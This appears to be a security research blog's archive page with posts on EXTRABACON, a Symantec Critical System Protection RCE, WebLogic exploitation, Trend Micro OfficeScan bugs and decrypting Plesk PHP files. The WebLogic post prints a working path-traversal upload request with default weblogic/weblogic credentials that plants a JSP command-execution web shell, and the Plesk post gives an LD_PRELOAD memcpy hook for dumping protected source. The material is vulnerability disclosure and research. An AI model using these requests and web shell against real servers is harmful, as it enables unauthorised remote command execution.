Tag Archives: exploit

Bake your own EXTRABACON

In the last couple of days we took a closer look at the supposed NSA exploit EXTRABACON,  leaked by Shadow Brokers. As an initial analysis of XORcat concluded, the code is capable of bypassing authentication of Cisco ASA devices after exploiting a memory corruption vulnerability in the SNMP service. We managed analyze and test the code in our lab and even add support for version 9.2(4) (that created quite bit of a hype :). While we don’t plan to release the upgraded code until an official patch is available for all affected versions, in this post we try to give a detailed description of the porting process: what the prerequisites are and how much effort is required to extend its capabilities.  We also hope that this summary will serve as a good resource for those who want to get started with researching Cisco ASA.

Continue reading Bake your own EXTRABACON

CVE-2014-3440 – Symantec Critical System Protection Remote Code Execution

Today we release the details of CVE-2014-3440, a remote code execution vulnerability in Symantec Critical System Protection. You can get the detailed advisory on the following link:

CVE-2014-3440 – Symantec Critical System Protection Remote Code Execution

We reported the vulnerability with the help of Beyond Security, Symantec fixed the vulnerability on 19.01.2015. Although we didn’t manage to get a nice logo :) in this blog post we give some additional information regarding the issue. This is another example that just like any other software, security products can introduce new security risks to their environment too.

First of all, here’s a short video demonstrating our exploit in action:

The exploit consists of two parts: First we need to register ourselves as an Agent to the SCSP Server. In default installations Agents can be registered without any authentication or prior knowledge. Before the official Symantec advisory was available I asked some of my peers there if this step can be hardened/mitigated somehow, but they couldn’t present any method to do this. Even in case that Agent registration would be somehow restricted, the attack could be executed from a compromised host with an Agent installed.

During the registration we obtain a GUID that allows us to make use of the bulk log upload feature. This feature is affected by a path traversal issue that allows arbitrary file writes leading to RCE. The exploitation method is detailed in our advisory.

Regarding the official workarounds: I actually jiggled when read about placing the log directory to different physical drive, but quickly realized that this is not the first case that software exploitation is mitigated by hardware :) The workaround definitely would work and you only need a different logical partition (not a full physical drive) so the drive letters will be different.

Considering the Prevention policies let’s just say that I studied SCSP to measure the behavioral detection capabilities of different endpoint products, and wasn’t really impressed (by any of the tested products)…


While studying SCSP I stumbled upon another interesting thing, that I wouldn’t consider a vulnerability, more like a really strange design decision. In a nutshell, the SCSP management interface allows connecting to different servers and the server list can be edited without authentication. This way an attacker can replace the address of a legitimate server with her own and wait for administrators to log in:

And if you are wondering what that binary thing at the end is, here are some clues:

public byte[] encipherPassword(byte pwd[])
    return pwd;
public static void encode(byte data[])
    for(int i = 0; i < data.length; i++) data[i] ^= 0x5a;

WebLogic undocumented hacking

During an external pentest – what a surprise – I found a WebLogic server with no interesting contents. I searched papers and tutorials about WebLogic hacking with little success. The public exploitation techniques resulted in only file reading. The OISSG tutorial only shows the following usable file reading solution:

curl -s -H "username: 
weblogic" -H "password: weblogic" -H "wl_request_type: file" 
-H "file_name: c:\boot.ini"

You can read the WAR, CLASS, XML(config.xml) and LOG(logs\WeblogicServer.log) files through this vulnerability.
This is not enough because I want run operating system commands. The HACKING EXPOSED WEB APPLICATIONS, 3rd Edition book mentioned an attack scenario against WebLogic, but this was only file read although it was based on a great idea:
The web.xml of wl_management_internal2 defined two servlets, FileDistributionServlet and BootstrapServlet. I downloaded the weblogic.jar file with the mentioned attack and decompiled the FileDistributionServlet.class:

total 128
drwxr-xr-x  2 root root  4096 2014-10-03 14:54 ./
drwxr-xr-x 24 root root  4096 2004-06-29 23:18 ../
-rw-r--r--  1 root root  7073 2004-06-29 23:17 BootstrapServlet$1.class
-rw-r--r--  1 root root  8876 2004-06-29 23:17 BootstrapServlet.class
-rw-r--r--  1 root root  1320 2004-06-29 23:17 BootstrapServlet$MyCallbackHandler.class
-rw-r--r--  1 root root  1033 2004-06-29 23:16 FileDistributionServlet$1.class
-rw-r--r--  1 root root  1544 2004-06-29 23:16 FileDistributionServlet$2.class
-rw-r--r--  1 root root   945 2004-06-29 23:16 FileDistributionServlet$3.class
-rw-r--r--  1 root root   956 2004-06-29 23:16 FileDistributionServlet$4.class
-rw-r--r--  1 root root   927 2004-06-29 23:16 FileDistributionServlet$5.class
-rw-r--r--  1 root root   950 2004-06-29 23:16 FileDistributionServlet$6.class
-rw-r--r--  1 root root 21833 2004-06-29 23:16 FileDistributionServlet.class
-rw-r--r--  1 root root   364 2004-06-29 23:16 FileDistributionServlet$FileNotFoundHandler.class
-rw-r--r--  1 root root 38254 2014-10-03 12:24 FileDistributionServlet.jad
-rw-r--r--  1 root root  1378 2004-06-29 23:16 FileDistributionServlet$MyCallbackHandler.class

The FileDistributionServlet had the following interesting function:

 private void internalDoPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
        String s;
        String s1;
        InputStream inputstream;
        boolean flag;
        String s2;
        String s3;
        boolean flag1;
        s = httpservletrequest.getHeader("wl_request_type");
        httpservletresponse.addHeader("Version", String.valueOf(Admin.getInstance().getCurrentVersion()));
        s1 = httpservletrequest.getContentType();
        inputstream = null;
        Object obj = null;
        flag = true;
        s2 = null;
        s3 = httpservletrequest.getHeader("wl_upload_application_name");
        flag1 = "false".equals(httpservletrequest.getHeader("archive"));
        Object obj1 = null;
        String s4 = null;
        if(s3 != null)
            ApplicationMBean applicationmbean;
                MBeanHome mbeanhome = Admin.getInstance().getMBeanHome();
                applicationmbean = (ApplicationMBean)mbeanhome.getAdminMBean(s3, "Application");
            catch(InstanceNotFoundException instancenotfoundexception)
                applicationmbean = null;
            if(applicationmbean != null)
                File file = new File(applicationmbean.getFullPath());
                s4 = file.getParent();
        if(s4 == null)
            s4 = Admin.getInstance().getLocalServer().getUploadDirectoryName() + File.separator;
            if(s3 != null)
                s4 = s4.concat(s3 + File.separator);
        Object obj2 = null;
        if(s1 != null && s1.startsWith("multipart") && s.equals("wl_upload_request"))
            Object obj3 = null;
                MultipartRequest multipartrequest;
                if(httpservletrequest.getHeader("jspRefresh") != null && httpservletrequest.getHeader("jspRefresh").equals("true"))
                    s2 = httpservletrequest.getHeader("adminAppPath");
                    multipartrequest = new MultipartRequest(httpservletrequest, s2, 0x7fffffff);
                } else
                    multipartrequest = new MultipartRequest(httpservletrequest, s4, 0x7fffffff);
                File file1 = multipartrequest.getFile((String)multipartrequest.getFileNames().nextElement());
                s2 = file1.getPath();
                flag = false;
                    String s5 = s2.substring(0, s2.lastIndexOf("."));
                    extractArchive(s2, s5);
                    s2 = s5;
----- CUT ------

After the investigating the function, I constructed the following HTTP POST request:

POST /wl_management_internal2/wl_management HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0
Connection: keep-alive
username: weblogic
password: weblogic
wl_request_type: wl_upload_request
wl_upload_application_name: ..\..\..\..\..\..\..\..\..\you_can_define_the_upload_directory
archive: true
Content-Length: XXXX
Content-Type: multipart/form-data; boundary=---------------------------55365303813990412251182616919
Content-Length: 959
Content-Disposition: form-data; name="file"; filename="cmdjsp.jsp"
Content-Type: application/octet-stream
// note that linux = cmd and windows = "cmd.exe /c + cmd" 
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
<%@ page import="java.io.*" %>
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
      catch(IOException e) {
<%=output %>
<!--    http://michaeldaw.org   2006    -->

This is simple as that. The prerequisite of this exploit is the default weblogic/weblogic account.
This is what I call real hacking!


Trend Micro OfficeScan – A chain of bugs

Analyzing the security of security software is one of my favorite research areas: it is always ironic to see software originally meant to protect your systems open a gaping door for the attackers. Earlier this year I stumbled upon the OfficeScan security suite by Trend Micro, a probably lesser known host protection solution (AV) still used at some interesting networks. Since this software looked quite complex (big attack surface) I decided to take a closer look at it. After installing a trial version (10.6 SP1) I could already tell that this software will worth the effort:

  • The server component (that provides centralized management for the clients that actually implement the host protection functionality) is mostly implemented through binary CGIs (.EXE and .DLL files)
  • The server updates itself through HTTP
  • The clients install ActiveX controls into Internet Explorer

And there are possibly many other fragile parts of the system. Now I would like to share a series of little issues which can be chained together to achieve remote code execution. The issues are logic and/or cryptographic flaws, not standard memory corruption issues. As such, they are not trivial to fix or even decide if they are in fact vulnerabilities. This publication comes after months of discussion with the vendor in accordance with the disclosure policy of the HP Zero Day Initiative.

Continue reading Trend Micro OfficeScan – A chain of bugs

Plesk panel decryption

After I read the description of the Plesk vulnerability CVE-2012-1557 I decided to investigate the application a bit deeper. You can download a fully installed VMware image from the internet so you can skip the install and save some time. The PHP files which belong to the PLESK application are encrypted:

[root@localhost tmp]# cat /usr/local/psa/admin/htdocs/index.php
die(“The file {$_SERVER[‘SCRIPT_FILENAME’]} is part of Plesk 9 distribution. It cannot be run outside of Plesk 9 environment.\n”);

First of all I investigated the /usr/local/psa/bin/sw-engine-pleskrun executable which is a modified PHP interpreter:

[root@localhost ~]# /usr/local/psa/bin/sw-engine-pleskrun –help
Usage: sw-engine [options] [-f] [–] [args…]
sw-engine [options] -r [–] [args…]
sw-engine [options] [-B <begin_code>] -R [-E <end_code>] [–] [args…]
sw-engine [options] [-B <begin_code>] -F [-E <end_code>] [–] [args…]
sw-engine [options] — [args…]
sw-engine [options] -a

-a Run interactively
-c | Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-e Generate extended information for debugger/profiler
-f Parse and execute .
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-r Run PHP without using script tags
-B <begin_code> Run PHP <begin_code> before processing input lines
-R Run PHP for every input line
-F Parse and execute for every input line
-E <end_code> Run PHP <end_code> after processing all input lines
-H Hide any passed arguments from external tools.
-s Output HTML syntax highlighted source Output source with stripped comments and whitespace.
-z Load Zend extension .

args… Arguments passed to script. Use — args when first argument
starts with – or script is read from stdin

–ini Show configuration file names

–rf Show information about function .
–rc Show information about class .
–re Show information about extension .
–ri Show configuration for extension .

I tried to inspect the syscalls of the Plesk binary:

[root@localhost tmp]# strace ./sw-engine-pleskrun ../admin/htdocs/index.php
execve(“./sw-engine-pleskrun”, [“./sw-engine-pleskrun”, “../admin/htdocs/index.php”], [/* 23 vars */]) = 0
brk(0) = 0x8dc9000
getppid() = 17921
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb77967e8) = 17923
waitpid(17923, DEBUGGER DETECTED… Bye!

I did a quick search for the error message in the binary:

[root@localhost tmp]# strings /usr/local/psa/bin/sw-engine-pleskrun | grep “DEBUGGER DETECTED”
[root@localhost tmp]#

Found nothing, so it seems that the sw-engine-pleskrun binary is just a framework executable and another one does the actual PHP processing. Let’s see which files are accessed by the binary:

[root@localhost tmp]# strings /usr/local/psa/bin/sw-engine-pleskrun | grep -i “/usr”

The sw-engine and the php-cli binaries seem to be good targets from the list above. When I ran the php-cli application I got the following message:

[root@localhost tmp]# /usr/local/psa/bin/php-cli /usr/local/psa/admin/htdocs/index.php
Failed loading /usr/lib/php/modules/ioncube_loader_lin_5.3.so: /usr/lib/php/modules/ioncube_loader_lin_5.3.so: cannot open shared object file: No such file or directory
The file /usr/local/psa/admin/htdocs/index.php is part of Plesk 9 distribution. It cannot be run outside of Plesk 9 environment.

Let’s see what our first contestant says when we ask it to parse an encrypted PHP file:

[root@localhost tmp]# /usr/bin/sw-engine /usr/local/psa/admin/htdocs/index.php

Fatal error: Call to undefined function get_gpc() in /usr/local/psa/admin/htdocs/index.php on line 2

Sounds good! Fire up the IDA Pro Disassembler and collect some starting information: Look for the plain strings from the encrypted PHP files in the binary (like “__sw_loader_pragma__(‘P’);”):


Let see which function references this string:


By deeper investigating the open_file_for_scanning() function you will see that the BF_decrypt() function constructs the executable PHP code:


For the quick and effective result – bypass the ptrace, debug the decrypt function, collect the crypto key, etc… – I used the following method:
The open_file_for_scanning() function uses memcpy() to construct the unencrypted PHP code. I created a shared library which redeclares the memcpy function, I used it with the LD_PRELOAD technique and voila, readable source code:


int i=0;

void *memcpy(void *dst,const void *src,size_t len){
  if((strstr(src,”);”) > 0) && (i==0)){
register char *src_c, *dst_c;
src_c = (char *)src;
dst_c = (char *)dst;

while (len– > 0)
  *dst_c++ = *src_c++;
return dst;

 Compile the shared library with the following commands:

[root@localhost ~]# gcc -fPIC -c ld.c -o ld.o
[root@localhost ~]# gcc -shared -o ld.so ld.o

Set up the LD_PRELOAD environment variable and get the PHP source code:

[root@localhost ~]# LD_PRELOAD=/tmp/ld.so /usr/bin/sw-engine /usr/local/psa/admin/htdocs/login_up.php3

$login_name = rtrim(get_gpc(‘login_name’));
$passwd = get_gpc(‘passwd’);

if ($session->getType() != IS_UNDEFINED && !($login_name && $passwd))

if (!headers_sent())
header(‘X-Plesk: PSA-Key/’ . getKeyProp(‘plesk_key_id’));

$session_created = false;
$ssoAuthentication = null;

This method is far from perfect but it is easy, quick and the result is the plain source code. Happy bug hunting! ☺